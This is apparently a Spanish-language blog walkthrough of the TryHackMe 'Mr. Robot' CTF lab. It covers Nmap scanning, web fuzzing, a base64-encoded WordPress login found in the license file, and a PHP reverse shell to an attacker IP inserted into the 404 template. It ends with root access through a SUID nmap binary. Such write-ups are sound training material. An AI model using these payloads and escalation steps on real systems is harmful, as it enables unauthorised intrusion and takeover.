La máquina Mr. Robot es una máquina de dificultad media de TryHackMe. Es una de las máquinas de TryHackMe que por su relación con la serie, más ganas tenía de hacer pero que no he tenido los conocimientos de hacking que considero para entenderlo bien.
Resumen de conceptos trabajados:
| Escaneo y enumeración de puertos y servicios (Nmap) Information disclosure Fuzzing web Revershell RCE Enumeración de privilegios con SUIDEscalada de privilegios mediante abuso de binarios (GTFOBins) |
Estructura del contenido
TL;DR – RESUMEN DE LA MÁQUINA MR. ROBOT CTF
Te resumo a continuación la resolución de la máquina a modo de spoiler, si quieres ver el detalle de cada acción, te invito a leer el desarrollo completo:
Comenzamos realizando una fase completa de reconocimiento del objetivo mediante escaneos con Nmap, identificando los puertos 22, 80 y 443 abiertos sobre un sistema Linux. A continuación centramos la enumeración en los servicios web, analizando el código fuente, el archivo robots.txt y realizando fuzzing con herramientas como Gobuster, Feroxbuster y WFuzz. Este proceso nos permitió descubrir el archivo key-1-of-3.txt y el diccionario fsocity.dic, además de identificar que el sitio estaba basado en WordPress y localizar el panel de autenticación en /wp-login.php.Posteriormente continuamos con la fase de enumeración manual revisando archivos típicos como license, donde encontramos credenciales codificadas en base64 que pudimos decodificar para obtener el acceso al panel de administración de WordPress. Una vez dentro, aprovechamos el editor de plantillas del tema para insertar una reverse shell en la plantilla 404.php, lo que nos permitió ejecutar código en el servidor y obtener una shell como el usuario daemon, confirmando así la ejecución remota de comandos en el sistema comprometido.Finalmente realizamos una enumeración de privilegios en el sistema buscando binarios con permisos SUID y detectamos que el binario /usr/local/bin/nmap era vulnerable a abuso de privilegios. Aprovechando esta configuración insegura y apoyándonos en técnicas documentadas en GTFOBins, ejecutamos una shell interactiva con privilegios elevados mediante el modo interactivo de nmap, logrando escalar a root y acceder al resto de flags del sistema, completando así la intrusión de la máquina. |
Si es tu primera máquina en TryHackMe y no sabes cómo conectarte a la máquina del laboratorio, te recomiendo que visites este post donde te cuento paso a paso cómo introducirte en esta plataforma.
Cuando inicies siempre una máquina de TryHackMe, recuerda securizarte en la red, para ello te cuento cómo lo hago yo siguiendo estos sencillos pasos.
ESCANEO Y ENUMERACIÓN DE PUERTOS Y SERVICIOS
Comenzamos primero viendo si la máquina está activa y podemos conectarnos a ella, y después continuamos con el descubrimiento de puertos para luego hacer un escaneo de los servicios y versiones que corren para esos puertos.
nmap -p- --open -sS --min-rate 5000 -vvv -n 10.129.146.119
-P : eliminamos esto para que nmap en el escaneo no haga HOST discovery y de por hecho que el host está up sin tirar de pings
Realizando la primera fase del escaneo, se detectan los puertos abiertos: 22 ssh, 80 http y 443 https. Esta máquina corre bajo un SO Linux por el TTL de 62 que nos muestra arriba (64 sin nodos intermediarios de ida y vuelta).
Ahora realizamos un escaneo con nmap para ver los servicios y versiones que corren para esos puertos abiertos en busca luego de futuros exploits públicos.
nmap -sCV -n -p22,80,443 10.129.146.119
-n : para que no aplique resolución DNS
Nos confirma que tenemos un puerto 22 ssh en su versión OpenSSH 8.2p1 (que reviso y no veo explot públicos a priori), y los puertos web 80 y 443 tcp donde corre un servidor Apache.
Sabiendo esto, ya nos da pista que la intrusión o fase de investigación parte de los puertos web, por lo que pasamos a acceder al activo en el navegador.
Probamos a incluir las dos opciones, tanto con http (p80) como con https (p443):
En este caso estamos ante el mismo contenido servidor desde dos puertos distintos, es decir, se trata de un site espejo, que al tratarse de un laboratorio está OK, pero en real no es la mejor práctica ya que tu misma web sirve el contenido duplicados bajo los dos protocolos, generando problemas de indexación (aunque Google acabaría seleccionando por defecto la versión segura, pero estarías haciendo perder tiempo de rastreo en los «dos sites»).
INFORMATION DISCLOSURE
He analizado posibles accesos públicos como siempre antes de empezar con la fase de fuzzing web, y he investigado tanto el código fuente, como el archivo robots.txt, y en el archivo robots.txt desde la versión segura, me muestra esto:
cuyo archivo dentro key-1-of-3.txt resulta ser la primera clave del laboratorio, por lo que estamos ante un «Information Disclosure».
Como vemos también, hay un archivo que cuelga dentro que resulta ser un listado de 858160 palabras (http://10.129.146.119/fsocity.dic) que nos vamos a descargar en nuestra máquina atacante a modo de potencial diccionario sobre el que apoyarnos para hacer fuerza bruta en un futuro.
Analizados estos archivos y visto que ambas webs no hay nada distinto que nos pueda dar pistas, paso a realizar fuzzing web.
FUZZING WEB
Primero lo haré usando Gobuster y luego contrastaré con el diccionario anterior usando WFuzz, por si nos encontrara más directorios o archivos ocultos.
Comenzando con Gobuster nos saca muchos directorios y archivos interesantes que ya me dan pistas que estamos ante un site en WordPress por el nombre de muchas carpetas donde se incluyen las palabras «wp» …
gobuster dir -u http://IP_Target -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,txt,html
En paralelo a Gobuster o Wfuzz, me gusta ejecutar un escaneo con Feroxbuster que en ocasiones es más completa y me saca urls más profundas que simplemente los directorios:
feroxbuster -u http://10.128.164.48 -w /usr/share/seclists/Discovery/Web-Content/common.txt --filter-status 404,403
Ya veo rutas de imágenes que voy a probar para ver si me permiten encontrar más pistas o incluso ejecutar directory listing.
Seleccionando este imagen por ejemplo que me reporta el escaneo, http://10.128.164.48/Image/02 veo que me abre una página en WordPress donde puedo ver información muy relevante:
Por un lado, debajo de la imagen, en las medidas «4903×2813» me enlaza a http://10.128.164.48/wp-content/uploads/2015/11/image.jpg donde parece ser la ruta donde se almacenan los recursos. Interesante para ver si podríamos hacer RCE…
Si analizo el código fuente de esa url, me dice la versión de WordPress que se está usando (WordPress 4.3.1). Y por tanto podemos ver si para esa versión existe alguna vulnerabilidad:
Y otro dato muy importante, en la columna de la izquierda, nos aparece «Log in» con un enlace directo al inicio de sesión: http://10.128.164.48/wp-login.php
Por cierto, usando el diccionario «fsocity.dic» que descubrimos al inicio, sólo nos reporta estos directorios/archivos.
Continué con la máquina al día siguiente y THM m dió otra IP : 10.128.169.235
Después de intentar enumerar usuarios y contraseñas con WPScan e incluso con Hydra contra el diccionario que encontramos al inicio y otros, no me consigue encontrar nada, pese a que estoy seguro que ese diccionario fsocity.dic contiene en algún punto credenciales de acceso…
En este punto sigo investigando los distintos directorios y archivos que en la fase de escaneo anterior nos devolvió, y me di cuenta que en sitios web como Worpdress se suelen dejar (y más en este tipo de laboratiros) información relevante bajo archivos tipo readme o license, etc, por lo que me pongo a investigar estos dos archivos.
Aquí en readme no encuentro nada aunque me da alguna pista….
Y si accedo a la página de /license veo al final de la misma este código que parece estar codificado en base 64 (por el = al final), por lo que usando la herramienta CyberChef lo decodifico y me devuelve lo que parece ser un usuario y contraseña (elliot:ER28-0652).
También podríamos haber decodificado en base64 ese mismo código desde consola a través del comando:
echo "ZWxsaW90OkVSMjgtMDY1Mgo=" | base64 -d
Ya por curiosidad, reviso el diccionario fsocity.dic en busca de esas credenciales y efectivamente me las encuentra. Lo único que al ser un fichero de 858160 líneas, al usarlo como diccionario en WPScan o Hydra, etc, se queda «frito».
Visto esto, vamos a probar a acceder por ssh con esas credenciales por si se pudiera acceder pero parece que no.
Por lo que pruebo a acceder con ellas en el panel de login de WordPress: http://10.128.169.235/wp-login.php y me deja entrar:
Ahora lo que necesitamos es poder ejecutar código en el servidor, para ello tenemos que ejecutar RCE mediante una reverse shell.
REVERSE SHELL RCE
Vamos a crear una reverse shell y la inyectaremos en el WordPress. Para ello necesitamos saber cuál es nuestra IP de atacante virtual que nos asigna TryHackMe, eso lo podemos ver mediante el comando «ip a» y buscando la tun0 en mi caso:
Una vez hecho esto, nos podemos ir a RevShells.com y generarla:
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.138.128/4444 0>&1'"); ?>
Ahora incluimos toda esa shell maliciosa en la plantilla de error 404 eliminando lo anterior que había:
Nos levantamos netcat por el puerto 4444 en nuestra Kali, y ejecutamos en el navegador cualquier url que no exista (ejemplo http://10.128.169.235/holahola ) para que el servidor dispare esa template 404 con nuestra shell y así recibir la shell en nuestra Kali:
Somos el usuario daemon….si vamos a la home vemos que hay dos usuarios más «robot» y «ubuntu».
ENUMERACIÓN DE PRIVILEGIOS SUID
Visto que no puedo acceder a ver el contenido de los usuarios robot y ubuntu, lo que hago es ver con «sudo -l» si tenemos acceso como root a los binarios del sistema, pero no:
Busco entonces por permisos SUID que pueda explotar para subir a root con el comando:
find / -user root -perm -4000 -type f 2>/dev/nully me devuelve este listado donde me fijo en un binario llamado «nmap» que resulta extraño:
ESCALADA DE PRIVILEGIOS ABUSO BINARIOS
Versiones antiguas de nmap con SUID root permiten ejecutar shell como root usando modo interactivo, por lo que si ejecutamos «nmap –version» vemos que nos reporta que la versión es insegura.
De hecho si buscamos en GTFObins por el SUID de nmap, nos dice que si ejecutamos en la shell de nmap el comando «!sh» podemos escalar a root:
Y ya somos root:
Nos movemos hasta el directorio del usuario robot para ver la segunda flag:
Y por último, retrocedemos en los directorios hasta la raíz para acceder a la carpeta /root y ver la última flag:
